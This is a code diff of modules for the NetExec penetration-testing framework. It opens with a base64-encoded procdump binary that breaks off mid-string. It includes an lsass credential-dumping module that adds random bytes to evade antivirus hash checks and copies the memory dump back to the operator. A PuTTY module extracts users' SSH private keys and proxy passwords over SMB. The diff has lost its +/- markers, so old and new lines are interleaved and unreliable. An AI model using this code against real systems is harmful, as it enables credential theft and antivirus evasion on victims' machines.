"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 truncated
)
self.procdump = "procdump.exe"
self.procdump_path = "/tmp/"
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "PROCDUMP_PATH" in module_options:
self.procdump_path = module_options["PROCDUMP_PATH"]
@@ -77,7 +81,10 @@ class NXCModule:
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
if dump:
if not dump:
self.delete_procdump_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ""
@@ -85,22 +92,18 @@ class NXCModule:
machine_name = matches.group()
else:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, "wb+") as dump_file:
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
self.delete_procdump_binary(connection, context)
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
@@ -108,7 +111,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as dump:
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
try:
credz_bh = []
try:
@@ -150,3 +153,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error openning dump file", str(e))
def delete_procdump_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
+90 -71
View File
@@ -1,92 +1,111 @@
from dateutil.relativedelta import relativedelta as rd
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from math import fabs
class NXCModule:
"""
Created by fplazar and wanetty
Module by @gm_eduard and @ferranplaza
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
"""
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
Module by @_sandw1ch
"""
name = "pso"
description = "Query to get PSO from LDAP"
description = "Module to get the Fine Grained Password Policy/PSOs"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
multiple_hosts = False
pso_fields = [
"cn",
"msDS-PasswordReversibleEncryptionEnabled",
"msDS-PasswordSettingsPrecedence",
"msDS-MinimumPasswordLength",
"msDS-PasswordHistoryLength",
"msDS-PasswordComplexityEnabled",
"msDS-LockoutObservationWindow",
"msDS-LockoutDuration",
"msDS-LockoutThreshold",
"msDS-MinimumPasswordAge",
"msDS-MaximumPasswordAge",
"msDS-PSOAppliesTo",
]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available."""
def convert_time_field(self, field, value):
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
if field in time_fields:
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
return value
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
search_filter = "(objectClass=msDS-PasswordSettings)"
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
context.log.success("Attempting to enumerate objects with an applied policy...")
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
else:
context.log.debug(e)
return False
pso_list = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
# Who do they apply to?
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
for attrs in resp:
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for attr in attrs["attributes"]:
if str(attr["type"]) in "msDS-PSOApplied":
context.log.highlight(f"Object: {attrs['objectName']}")
context.log.highlight("Applied Policy: ")
for value in attr["vals"]:
context.log.highlight(f"\t{value}")
context.log.highlight("")
pso_info = {}
# Let"s find out even more details!
context.log.success("Attempting to enumerate details...\n")
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutThreshold":
lockoutThreshold = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
passwordLength = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
passwordhistorylength = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
observationWindow = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutDuration":
lockoutDuration = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
precedence = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
complexity = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
reverseibleEncryption = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
minPassAge = attr["vals"][0]
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
maxPassAge = attr["vals"][0]
elif str(attr["type"]) == "description":
description = attr["vals"][0]
elif str(attr["type"]) == "msDS-PSOAppliesTo":
policyApplies = ""
for value in attr["vals"]:
policyApplies += f"{value};"
context.log.highlight(f"Policy Name: {policyName}")
if description:
context.log.highlight(f"Description: {description}")
context.log.highlight(f"Minimum Password Length: {passwordLength}")
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
context.log.highlight(f"Complexity Enabled: {complexity}")
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
context.log.highlight("Policy Applies to:")
for value in str(policyApplies)[:-1].split(";"):
if value:
context.log.highlight(f"\t{value}")
context.log.highlight("")
try:
for attribute in item["attributes"]:
attr_name = str(attribute["type"])
if attr_name in self.pso_fields:
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
pso_list.append(pso_info)
def days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(pso_list) > 0:
context.log.success("Password Settings Objects (PSO) found:")
for pso in pso_list:
for field in self.pso_fields:
if field in pso:
value = self.convert_time_field(field, pso[field])
context.log.highlight(f"{field}: {value}")
context.log.highlight("-----")
else:
context.log.info("No Password Settings Objects (PSO) found.")
def mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
+225
View File
@@ -0,0 +1,225 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
try:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except rrp.DCERPCSessionError as e:
self.context.log.fail(f"Error loading user {user_object} into registry: {e}")
self.context.log.debug(traceback.format_exc())
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except rrp.DCERPCSessionError as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
+21 -87
View File
@@ -1,10 +1,8 @@
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
@@ -15,98 +13,34 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
